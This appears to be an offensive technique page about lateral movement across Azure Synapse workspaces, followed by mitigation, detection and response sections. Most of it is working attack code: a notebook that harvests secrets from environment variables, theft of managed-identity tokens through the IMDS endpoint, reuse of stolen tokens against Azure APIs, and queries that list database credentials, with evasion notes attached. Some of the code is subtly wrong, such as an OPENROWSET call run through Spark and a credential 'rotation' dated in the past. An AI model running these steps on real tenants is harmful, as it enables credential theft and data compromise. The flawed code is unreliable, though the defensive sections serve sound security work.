| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-035 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | Azure Synapse Analytics, Entra ID, Multi-Tenant Azure |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Azure Synapse Analytics (All versions), Synapse SQL Pools (DW1-DW30000), Synapse Spark Pools (all versions) |
| Patched In | N/A - Architectural limitation; mitigation through workspace isolation recommended |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Synapse Analytics workspaces are designed to isolate analytics operations, but workspaces often share authentication credentials, service principals, and database access through linked services and shared integration runtimes. An attacker who compromises one Synapse workspace can exploit service account credentials embedded in Synapse notebooks, SQL pool configurations, or linked services to authenticate to other workspaces or shared data sources. This lateral movement technique bypasses workspace-level isolation by reusing administrative service principals or workspace identity tokens.
Attack Surface: Azure Synapse workspace access controls, SQL pools (dedicated and serverless), Spark pools, linked services, workspace-level service principals, shared integration runtimes, workspace-managed identities, Synapse Studio notebooks containing hardcoded credentials.
Business Impact: Cross-workspace compromise enabling multi-tenant data access. An attacker can escalate from access to a single Synapse workspace to read, modify, or delete data in other workspaces sharing the same Azure subscriptions, service principals, or linked storage accounts. This enables lateral movement across analytics environments, potential ransomware deployment, and comprehensive data exfiltration across enterprise analytics infrastructure.
Technical Context: Workspace cross-access attacks typically take 10-45 minutes to execute, involving credential discovery in notebooks/configurations, service principal token theft, and inter-workspace authentication. Detection likelihood is Medium-High due to audit logging of workspace access, but log analysis often lags in reactive incident response scenarios. SynLapse vulnerabilities have demonstrated complete workspace takeover is possible through ODBC connector exploitation.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1.4, 5.1.5 | Ensure managed identities used for workspace authentication; restrict cross-workspace service principal use |
| DISA STIG | SA-2(b), IA-4 | Workspace access controls; individual identification and authentication for workspace access |
| CISA SCuBA | EXO.MS.3.5 | Entra ID: Managed identities must be used; service principals require MFA |
| NIST 800-53 | AC-3, AC-6, SC-7 | Access Control Enforcement; Least-Privilege access; Logical Boundaries between workspaces |
| GDPR | Art. 32, Art. 5(1)(f) | Security of Processing; data minimization principles applied to workspace isolation |
| DORA | Art. 9(5), Art. 16 | Operational resilience; ICT security governance for financial data analytics |
| NIS2 | Art. 21(1)(a), Art. 21(4) | Cybersecurity Risk Management; access control to critical data analytics systems |
| ISO 27001 | A.9.2.3, A.13.1.1 | Management of Privileged Access; Workspace network isolation |
| ISO 27005 | Section 12 | Risk Assessment: Cross-workspace access is high-impact scenario requiring segregation |
Required Privileges:
Microsoft.Synapse/workspaces/read, Microsoft.Synapse/workspaces/sqlPools/readRequired Access:
Supported Versions:
Tools Required:
# Step 1: Enumerate all Synapse workspaces in current subscription
$subscriptions = Get-AzSubscription
foreach ($sub in $subscriptions) {
Select-AzSubscription -Subscription $sub.SubscriptionId | Out-Null
Write-Host "=== Subscription: $($sub.Name) ===" -ForegroundColor Green
# List all Synapse workspaces
$workspaces = Get-AzSynapseWorkspace
foreach ($ws in $workspaces) {
Write-Host "Synapse Workspace: $($ws.Name) in $($ws.ResourceGroupName)" -ForegroundColor Yellow
Write-Host " SQL Admin Account: $($ws.SqlAdministratorLogin)"
Write-Host " Managed Virtual Network: $($ws.ManagedVirtualNetwork)"
Write-Host " Default Storage Account: $($ws.DefaultDataLakeStorageAccountName)"
}
}
# Step 2: List all SQL pools and Spark pools in a specific workspace
$workspaceName = "your-synapse-workspace"
$resourceGroupName = "your-rg"
# SQL Pools
$sqlPools = Get-AzSynapseSqlPool -WorkspaceName $workspaceName -ResourceGroupName $resourceGroupName
Write-Host "SQL Pools:" -ForegroundColor Cyan
foreach ($pool in $sqlPools) {
Write-Host " - $($pool.Name) (Status: $($pool.Status))"
}
# Spark Pools
$sparkPools = Get-AzSynapseSparkPool -WorkspaceName $workspaceName -ResourceGroupName $resourceGroupName
Write-Host "Spark Pools:" -ForegroundColor Cyan
foreach ($pool in $sparkPools) {
Write-Host " - $($pool.Name) (Nodes: $($pool.NodeCount))"
}
# Step 3: List linked services (may contain shared credentials)
$linkedServices = Get-AzSynapseLinkedService -WorkspaceName $workspaceName
Write-Host "Linked Services:" -ForegroundColor Cyan
foreach ($service in $linkedServices) {
Write-Host " - $($service.Name) (Type: $($service.Properties.type))"
}
# Step 4: Check workspace access control
$roleAssignments = Get-AzRoleAssignment -Scope "/subscriptions/$(Get-AzContext).Subscription.Id/resourceGroups/$resourceGroupName/providers/Microsoft.Synapse/workspaces/$workspaceName"
Write-Host "Workspace IAM Assignments:" -ForegroundColor Cyan
$roleAssignments | Select-Object DisplayName, RoleDefinitionName | Format-Table
What to Look For:
# List all Synapse workspaces
az synapse workspace list --output table
# Get details of a specific workspace
az synapse workspace show --name <workspace-name> --resource-group <rg-name>
# List all SQL pools
az synapse sql pool list --workspace-name <workspace-name> --resource-group <rg-name> --output table
# List spark pools
az synapse spark pool list --workspace-name <workspace-name> --resource-group <rg-name> --output table
# Enumerate linked services
az synapse linked-service list --workspace-name <workspace-name>
# Check Workspace Identity (Managed Identity)
az synapse workspace show --name <workspace-name> --resource-group <rg-name> --query identity
What to Look For:
<workspace-name>-ondemand.sql.azuresynapse.net)Supported Versions: Azure Synapse Analytics Spark Pools (Python 3.8+, Scala 2.12+)
Prerequisites:
Objective: Create a Python notebook that extracts workspace credentials and environment variables.
Command (Synapse Studio Web Interface):
# Python Spark Notebook in Synapse Studio
import os
import json
from notebookutils import mssparkutils
# Step 1: Extract environment variables that may contain credentials
print("=== Environment Variables ===")
env_vars = os.environ
for key, value in env_vars.items():
if any(x in key.lower() for x in ['password', 'key', 'secret', 'token', 'connection', 'credential']):
print(f"{key}={value}")
# Step 2: Get access token for current user (workspace identity)
print("\n=== Workspace Access Token ===")
try:
token = mssparkutils.credentials.getToken("https://management.azure.com")
print(f"Token: {token[:50]}...{token[-20:]}")
except Exception as e:
print(f"Error getting token: {e}")
# Step 3: Access Spark context variables
print("\n=== Spark Context Variables ===")
try:
spark_config = spark.sparkContext.getConf().getAll()
for key, value in spark_config:
if any(x in key.lower() for x in ['password', 'key', 'secret', 'credential']):
print(f"{key}={value}")
except Exception as e:
print(f"Error: {e}")
# Step 4: Query Azure instance metadata service (IMDS)
print("\n=== IMDS Metadata ===")
try:
import requests
headers = {"Metadata": "true"}
response = requests.get("http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers=headers, timeout=5)
if response.status_code == 200:
metadata = response.json()
print(f"VM Name: {metadata['compute']['vmName']}")
print(f"Subscription ID: {metadata['compute']['subscriptionId']}")
print(f"Resource Group: {metadata['compute']['resourceGroupName']}")
except Exception as e:
print(f"IMDS not accessible: {e}")
Expected Output:
=== Environment Variables ===
SPARK_PASSWORD=MySecurePassword123!
WORKSPACE_CONNECTION_STRING=Server=tcp:...;Database=mydb;User Id=user;Password=***
SQL_CONNECTION_KEY=abcdef1234567890...
=== Workspace Access Token ===
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6ImtleTEifQ...
=== Spark Context Variables ===
spark.sql.password=P@ssw0rd
What This Means:
OpSec & Evasion:
Objective: Use the workspace access token to authenticate to other Azure Synapse workspaces.
Command (Synapse Studio Notebook continuation):
# Python: Use extracted token to access other workspaces
import requests
# Extracted access token from previous step
access_token = "eyJhbGciOiJSUzI1NiIsImtpZCI6ImtleTEifQ..."
# Headers for Azure API calls
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# Step 1: Enumerate all Synapse workspaces in the subscription
print("=== Enumerating Synapse Workspaces ===")
subscription_id = "your-subscription-id" # Extracted from IMDS
resource_group = "your-resource-group" # Extracted from IMDS
url = f"https://management.azure.com/subscriptions/{subscription_id}/resourceGroups/{resource_group}/providers/Microsoft.Synapse/workspaces?api-version=2021-06-01"
response = requests.get(url, headers=headers)
if response.status_code == 200:
workspaces = response.json()["value"]
for ws in workspaces:
print(f"Workspace: {ws['name']}")
print(f" SQL Admin Endpoint: {ws['properties'].get('connectivityEndpoints', {}).get('sqlOnDemand')}")
print(f" Dev Endpoint: {ws['properties'].get('connectivityEndpoints', {}).get('dev')}")
# Step 2: Access another Synapse workspace's SQL on-demand endpoint
print("\n=== Accessing Target Workspace SQL ===")
target_workspace_sql_endpoint = "target-workspace-ondemand.sql.azuresynapse.net"
# Since workspace identity has credentials, can directly authenticate
sql_server = target_workspace_sql_endpoint.split('-')[0] # Extract workspace name
print(f"Target SQL Server: {sql_server}")
# Step 3: Connect to target workspace SQL pool using workspace identity
# This requires the workspace has been granted SQL Admin role on the target workspace
try:
from pyspark.sql import SparkSession
# Authenticate using workspace managed identity
spark_df = spark.sql(f"""
SELECT * FROM OPENROWSET(
PROVIDER = 'sqloledb',
'Server={target_workspace_sql_endpoint};Database=SampleDB;Trusted_Connection=true;',
'SELECT TOP 10 * FROM sensitive_table'
)
""")
spark_df.show()
except Exception as e:
print(f"Cross-workspace access failed: {e}")
Expected Output:
=== Enumerating Synapse Workspaces ===
Workspace: production-workspace
SQL Admin Endpoint: production-workspace-ondemand.sql.azuresynapse.net
Dev Endpoint: production-workspace.dev.azuresynapse.net
Workspace: analytics-workspace
SQL Admin Endpoint: analytics-workspace-ondemand.sql.azuresynapse.net
Dev Endpoint: analytics-workspace.dev.azuresynapse.net
=== Accessing Target Workspace SQL ===
| Column1 | Column2 | Column3 |
|---------|---------|---------|
| Data1 | Data2 | Data3 |
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: Azure Synapse Dedicated SQL Pools (all versions), Azure SQL Database
Prerequisites:
Objective: Extract SQL user credentials and connection strings from SQL pool system tables.
Command (SQL Query in Synapse Studio):
-- Step 1: Find all database users and their creation properties
SELECT
name AS [User],
type_desc AS [UserType],
default_schema_name AS [DefaultSchema],
create_date AS [CreatedDate]
FROM sys.database_principals
WHERE type IN ('S', 'U', 'G') -- SQL users, Windows users, Groups
ORDER BY create_date DESC;
-- Step 2: Enumerate all linked servers (if any)
-- (This returns linked servers that may store credentials for other data sources)
EXEC sp_linkedservers;
-- Step 3: List all external data sources
-- (Azure Synapse-specific: returns connections to external systems)
SELECT
name AS [DataSourceName],
type AS [Type],
location AS [Location],
database_name AS [DatabaseName],
credential_name AS [CredentialName]
FROM sys.external_data_sources;
-- Step 4: List all database-scoped credentials
-- (These contain encrypted credentials for external access)
SELECT
credential_id,
name AS [CredentialName],
identity AS [Identity]
FROM sys.database_credentials;
-- Step 5: Query for any hardcoded credentials in extended properties
SELECT
name AS [ObjectName],
value AS [Value]
FROM fn_listextendedproperty(NULL, 'schema', 'dbo', 'table', NULL, NULL, NULL)
WHERE value LIKE '%password%'
OR value LIKE '%key%'
OR value LIKE '%secret%'
OR value LIKE '%connection%';
Expected Output:
User | UserType | DefaultSchema | CreatedDate
sqladmin | SQL_USER | dbo | 2024-01-01
dataanalyst | SQL_USER | analytics | 2024-06-15
service_read | SQL_USER | public | 2024-09-01
DataSourceName | Type | Location | CredentialName
AzureCosmosDB_Link | EXTERNAL_TABLE | https://cosmos.azure.com | cosmos_credentials
AWSRedshift_Link | EXTERNAL_TABLE | redshift.amazonaws.com | aws_redshift_key
What This Means:
OpSec & Evasion:
Objective: Extract and decrypt database credentials for external data sources.
Command (PowerShell with SQL connection):
# Connect to Synapse SQL pool using extracted admin credentials
$sqlServer = "your-workspace-ondemand.sql.azuresynapse.net"
$database = "SampleDB"
$userId = "sqladmin"
$password = "P@ssw0rd123!"
$connectionString = "Server=tcp:$sqlServer,1433;Initial Catalog=$database;Persist Security Info=False;User ID=$userId;Password=$password;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
$connection = New-Object System.Data.SqlClient.SqlConnection
$connection.ConnectionString = $connectionString
$connection.Open()
# Query to enumerate all credentials
$query = @"
SELECT
credential_id,
name AS credential_name,
identity,
secret -- May be encrypted
FROM sys.database_credentials
"@
$command = $connection.CreateCommand()
$command.CommandText = $query
$reader = $command.ExecuteReader()
$credentials = @()
while ($reader.Read()) {
$credentials += @{
CredentialId = $reader["credential_id"]
CredentialName = $reader["credential_name"]
Identity = $reader["identity"]
Secret = $reader["secret"] # Encrypted; needs DPAPI or key to decrypt
}
}
$reader.Close()
$connection.Close()
# Output credentials
$credentials | Format-Table CredentialName, Identity, Secret
Expected Output:
CredentialName Identity Secret
cosmos_read_cred cosmos_user@cosmos [encrypted value]
sql_sync_cred sa_sync_account [encrypted value]
storage_backup_cred app_storage_backup [encrypted value]
References & Proofs:
Supported Versions: Azure Synapse Analytics (all versions with managed identity enabled)
Prerequisites:
Objective: Extract the workspace’s managed identity token from IMDS.
Command (Python Notebook):
import requests
import json
# IMDS endpoint (available from Synapse compute)
imds_endpoint = "http://169.254.169.254/metadata/identity/oauth2/token"
# Request workspace managed identity token
params = {
'api-version': '2017-09-01',
'resource': 'https://management.azure.com/' # For Azure management APIs
}
headers = {
'Metadata': 'true'
}
try:
response = requests.get(imds_endpoint, params=params, headers=headers, timeout=5)
if response.status_code == 200:
token_response = response.json()
access_token = token_response['access_token']
expires_in = token_response['expires_in']
print(f"Successfully obtained workspace managed identity token")
print(f"Token: {access_token[:50]}...{access_token[-20:]}")
print(f"Expires in {expires_in} seconds")
# Save token for later use
with open('/tmp/workspace_token.txt', 'w') as f:
f.write(access_token)
else:
print(f"IMDS request failed: {response.status_code}")
print(response.text)
except Exception as e:
print(f"Error: {e}")
Expected Output:
Successfully obtained workspace managed identity token
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6ImtleTEifQ...
Expires in 3600 seconds
What This Means:
OpSec & Evasion:
Objective: Use the workspace managed identity token to authenticate to other resources.
Command (PowerShell using stolen token):
# Use stolen workspace managed identity token
$accessToken = Get-Content '/tmp/workspace_token.txt'
$headers = @{
"Authorization" = "Bearer $accessToken"
"Content-Type" = "application/json"
}
# Example 1: List all resources the workspace identity can access
$subscriptionId = "your-subscription-id"
$uri = "https://management.azure.com/subscriptions/$subscriptionId/resources?api-version=2021-04-01"
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers
Write-Host "Resources accessible via workspace identity:"
$response.value | Select-Object -Property name, type, location | Format-Table
# Example 2: Access other Synapse workspaces
$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Synapse/workspaces?api-version=2021-06-01"
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers
Write-Host "Synapse workspaces accessible:"
$response.value | Select-Object -Property name | Format-Table
# Example 3: Access storage accounts
$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Storage/storageAccounts?api-version=2021-09-01"
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers
Write-Host "Storage accounts accessible:"
$response.value | Select-Object -Property name, location | Format-Table
# Example 4: Read SQL databases accessible via the workspace identity
$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Sql/servers?api-version=2015-05-01-preview"
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers
Write-Host "SQL Servers accessible:"
$response.value | Select-Object -Property name, location | Format-Table
Expected Output:
Resources accessible via workspace identity:
name type
production-workspace Microsoft.Synapse/workspaces
analytics-workspace Microsoft.Synapse/workspaces
data-lake-prod Microsoft.Storage/storageAccounts
Synapse workspaces accessible:
name
production-workspace
analytics-workspace
What This Means:
References & Proofs:
1. Implement Workspace-Level RBAC Segregation
Applies To Versions: Azure Synapse Analytics (all versions)
Manual Steps (Azure Portal):
Synapse Artifact Operator (read SQL/Spark only)Synapse Linked Data Manager (manage linked services, execute pipelines)Synapse SQL Administrator (SQL audit access)Manual Steps (PowerShell):
# List current role assignments
$workspaceResourceId = "/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{workspace}"
$roleAssignments = Get-AzRoleAssignment -Scope $workspaceResourceId
Write-Host "Current Role Assignments:"
$roleAssignments | Format-Table DisplayName, RoleDefinitionName
# Remove overly permissive roles
foreach ($assignment in $roleAssignments) {
if ($assignment.RoleDefinitionName -eq "Synapse Administrator") {
Write-Host "Removing Synapse Administrator from $($assignment.DisplayName)"
Remove-AzRoleAssignment -ObjectId $assignment.ObjectId -RoleDefinitionName "Synapse Administrator" -Scope $workspaceResourceId
}
}
# Assign minimal roles
$principalId = (Get-AzADUser -UserPrincipalName "analyst@contoso.com").Id
New-AzRoleAssignment -ObjectId $principalId -RoleDefinitionName "Synapse Artifact Operator" -Scope $workspaceResourceId
2. Disable Cross-Workspace Service Principal Sharing
Applies To Versions: Azure Synapse Analytics (all versions)
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# List all linked services
$linkedServices = Get-AzSynapseLinkedService -WorkspaceName $workspaceName
foreach ($service in $linkedServices) {
$json = $service.Properties | ConvertTo-Json
# Check if service uses hardcoded credentials or cross-workspace SP
if ($json -match "password|secret|SharedAccessKey|accountKey|clientSecret") {
Write-Host "WARNING: Linked service '$($service.Name)' contains hardcoded credentials"
Write-Host " Properties: $json"
}
# Check if service points to another workspace
if ($json -match "\.sql\.azuresynapse\.net|other-workspace") {
Write-Host "ALERT: Linked service '$($service.Name)' cross-workspace link detected"
}
}
3. Restrict Access to Synapse Notebooks and SQL Scripts
Applies To Versions: Azure Synapse Analytics (all versions)
Manual Steps (Azure Portal):
password, connection, secret, key in all notebooksManual Steps (PowerShell):
# Export and scan all notebooks for credentials
Get-AzSynapseNotebook -WorkspaceName $workspaceName | ForEach-Object {
$notebookContent = Get-AzSynapseNotebookDefinition -WorkspaceName $workspaceName -Name $_.Name
$json = $notebookContent | ConvertTo-Json
if ($json -match "password|accountkey|connectionstring|sharedaccesskey") {
Write-Host "ALERT: Notebook '$($_.Name)' contains credentials - REQUIRES REMEDIATION"
}
}
4. Enable Synapse Workspace SQL Auditing
Applies To Versions: Azure Synapse Analytics (all versions)
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Enable SQL Auditing on Synapse workspace
$workspace = Get-AzSynapseWorkspace -Name $workspaceName -ResourceGroupName $resourceGroupName
$storageAccountName = "auditstorage"
# Create storage account if needed
$storageAccount = New-AzStorageAccount -Name $storageAccountName -ResourceGroupName $resourceGroupName -Type "Standard_LRS" -Location "eastus" -ErrorAction SilentlyContinue
# Enable audit
Update-AzSynapseSqlAuditSetting -ResourceGroupName $resourceGroupName `
-WorkspaceName $workspaceName `
-StorageAccount $storageAccount.StorageAccountName `
-RetentionInDays 90 `
-Enable
5. Implement Network Isolation for Synapse Workspaces
Applies To Versions: Azure Synapse Analytics (all versions)
Manual Steps (Azure Portal):
synapse-private-endpointMicrosoft.Synapse/workspacesprivateLink-synapseSynapse Activity Logs:
sys.database_principals or sys.external_data_sourcesToken-Based:
Storage & Audit Logs:
Synapse Studio Logs:
Develop → Notebook → Version history (shows changes and execution time)SQL Database Logs:
Azure Storage (Audit Destination):
sys.database_credentials or sys.database_principals1. Isolate Compromised Workspace:
# Disable all linked services
Get-AzSynapseLinkedService -WorkspaceName $workspaceName | ForEach-Object {
Remove-AzSynapseLinkedService -WorkspaceName $workspaceName -Name $_.Name
}
# Disconnect workspace from storage
$workspace = Get-AzSynapseWorkspace -Name $workspaceName -ResourceGroupName $resourceGroupName
$workspace.DefaultDataLakeStorageAccountName = $null
Set-AzSynapseWorkspace -Name $workspaceName -ResourceGroupName $resourceGroupName `
-DefaultDataLakeStorageAccountName $null
# Stop all running jobs
Get-AzSynapseSparkJob -WorkspaceName $workspaceName | Stop-AzSynapseSparkJob
# Revoke all user access
Get-AzRoleAssignment -Scope $workspace.Id | Remove-AzRoleAssignment
2. Rotate All Credentials:
# Reset SQL Admin password
$newPassword = "NewComplexPassword$(Get-Random)!"
Update-AzSynapseSqlAdminPassword -ResourceGroupName $resourceGroupName `
-WorkspaceName $workspaceName `
-AdminPassword (ConvertTo-SecureString $newPassword -AsPlainText -Force)
# Revoke workspace managed identity and create new one
$workspace = Get-AzSynapseWorkspace -Name $workspaceName -ResourceGroupName $resourceGroupName
# Managed identities cannot be rotated directly; requires full workspace recreation in extreme cases
# Rotate all service principal credentials
Get-AzADServicePrincipal | Where-Object { $_.DisplayName -match "synapse|analytics" } | ForEach-Object {
New-AzADServicePrincipalCredential -ServicePrincipalId $_.Id -EndDate (Get-Date).AddDays(-1)
}
3. Investigate:
# Export audit logs for investigation
$auditLogs = Get-AzActivityLog -ResourceGroupName $resourceGroupName `
-ResourceType "Microsoft.Synapse/workspaces" `
-StartTime (Get-Date).AddDays(-7)
$auditLogs | Export-Csv -Path "synapse_audit_investigation.csv" -NoTypeInformation
# Check for suspicious notebooks
Get-AzSynapseNotebook -WorkspaceName $workspaceName | ForEach-Object {
$definition = Get-AzSynapseNotebookDefinition -WorkspaceName $workspaceName -Name $_.Name
if ($definition -match "IMDS|metadata|token|credentials|password") {
Write-Host "SUSPICIOUS: Notebook '$($_.Name)' contains potential credential access code"
}
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks user into granting OAuth consent to malicious app |
| 2 | Credential Access | [CA-DUMP-003] LSASS Credential Dumping | Attacker gains admin access and dumps LSASS for credential material |
| 3 | Privilege Escalation | [PE-ENTRA-008] Workspace Admin Impersonation | Attacker assumes workspace admin role via service principal |
| 4 | Lateral Movement (Current) | [LM-AUTH-035] | Synapse workspace cross-access using extracted managed identity tokens |
| 5 | Data Exfiltration | [EXFIL-002] Bulk SQL Data Export | Attacker exports sensitive analytics data to external storage |
sys.database_credentials to find credentials for external data warehouses